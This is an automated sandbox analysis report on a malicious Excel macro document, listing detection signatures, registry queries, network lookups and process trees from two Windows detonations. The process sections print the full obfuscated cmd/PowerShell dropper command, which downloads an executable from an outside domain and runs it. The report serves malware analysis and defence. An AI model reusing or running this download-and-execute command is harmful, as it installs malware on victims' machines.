Analysis Overview
SHA256
2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65
Threat Level: Known bad
The file 2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Checks processor information in registry
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Suspicious behavior: AddClipboardFormatListener
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 02:44
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 02:44
Reported
2024-08-15 02:45
Platform
win7-20240705-en
Max time kernel
24s
Max time network
18s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cMd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cMd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\cMd.exe
cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cedacriall.faith | udp |
Files
memory/1476-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1476-1-0x000000007333D000-0x0000000073348000-memory.dmp
memory/1476-6-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-5-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-4-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-3-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-19-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-242-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-64-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-63-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-62-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-61-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-59-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-58-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-57-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-56-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-55-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-54-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-53-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-52-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-50-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-49-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-48-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-47-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-46-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-45-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-44-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-43-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-41-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-40-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-39-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-38-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-37-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-36-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-35-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-34-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-33-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-32-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-30-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-29-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-28-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-27-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-26-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-25-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-24-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-23-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-22-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-20-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-18-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-17-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-16-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-15-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-14-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-13-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-12-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-11-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-10-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-9-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-8-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-7-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-2-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-60-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-51-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-42-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-31-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-21-0x0000000000670000-0x0000000000770000-memory.dmp
memory/1476-245-0x000000007333D000-0x0000000073348000-memory.dmp
memory/1476-246-0x0000000000670000-0x0000000000770000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 02:44
Reported
2024-08-15 02:45
Platform
win10v2004-20240802-en
Max time kernel
46s
Max time network
40s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cMd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2852 wrote to memory of 1940 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\splwow64.exe |
| PID 2852 wrote to memory of 1940 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\splwow64.exe |
| PID 2852 wrote to memory of 2700 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cMd.exe |
| PID 2852 wrote to memory of 2700 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cMd.exe |
| PID 2700 wrote to memory of 2644 | N/A | C:\Windows\SYSTEM32\cMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2700 wrote to memory of 2644 | N/A | C:\Windows\SYSTEM32\cMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2a43e7f6b7291722e89bff09e414dc9243e4b8c72f13f5061d3e3818430e0a65.xls"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
C:\Windows\SYSTEM32\cMd.exe
cMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^u B^Ypa^S^s ^(^ne^w-^ob^ject s^ys^t^em.n^e^t^.we^b^cl^i^e^n^t)^.do^wnloa^d^f^il^e('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','%appdata%.exe')^;^star^t-pr^oc^es^s^ '%appdata%.exe'"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcu BYpaSs (new-object system.net.webclient).downloadfile('https://cedacriall.faith/1aqalpiniahelfuimoksa.exe','C:\Users\Admin\AppData\Roaming.exe');start-process 'C:\Users\Admin\AppData\Roaming.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cedacriall.faith | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.253.116.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
Files
memory/2852-0-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp
memory/2852-2-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp
memory/2852-1-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp
memory/2852-3-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp
memory/2852-4-0x00007FF8680B0000-0x00007FF8680C0000-memory.dmp
memory/2852-5-0x00007FF8A80CD000-0x00007FF8A80CE000-memory.dmp
memory/2852-8-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-7-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-6-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-10-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-9-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-12-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-11-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-13-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp
memory/2852-14-0x00007FF865800000-0x00007FF865810000-memory.dmp
memory/2852-15-0x00007FF865800000-0x00007FF865810000-memory.dmp
memory/2644-295-0x0000024DF4D90000-0x0000024DF4DB2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tunuwjfq.gwd.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 85c8222bbf75594135e95be6b0419240 |
| SHA1 | 48af661d1b3fd9937cb880507c5f638387f144fe |
| SHA256 | 91293d1d72e52c6ced9c8f1e3b2b8adbee6ef28cc8015456ef87ce80dfa5b2a8 |
| SHA512 | 4c4a4ebf173089ca5579ee7b32f6d233eb062e465a7cd4b99df764219ccd862167b4a179660ae65f47a83c744a377739fe4410753f1413cea947c006232565f5 |
memory/2852-312-0x00007FF8A8030000-0x00007FF8A8225000-memory.dmp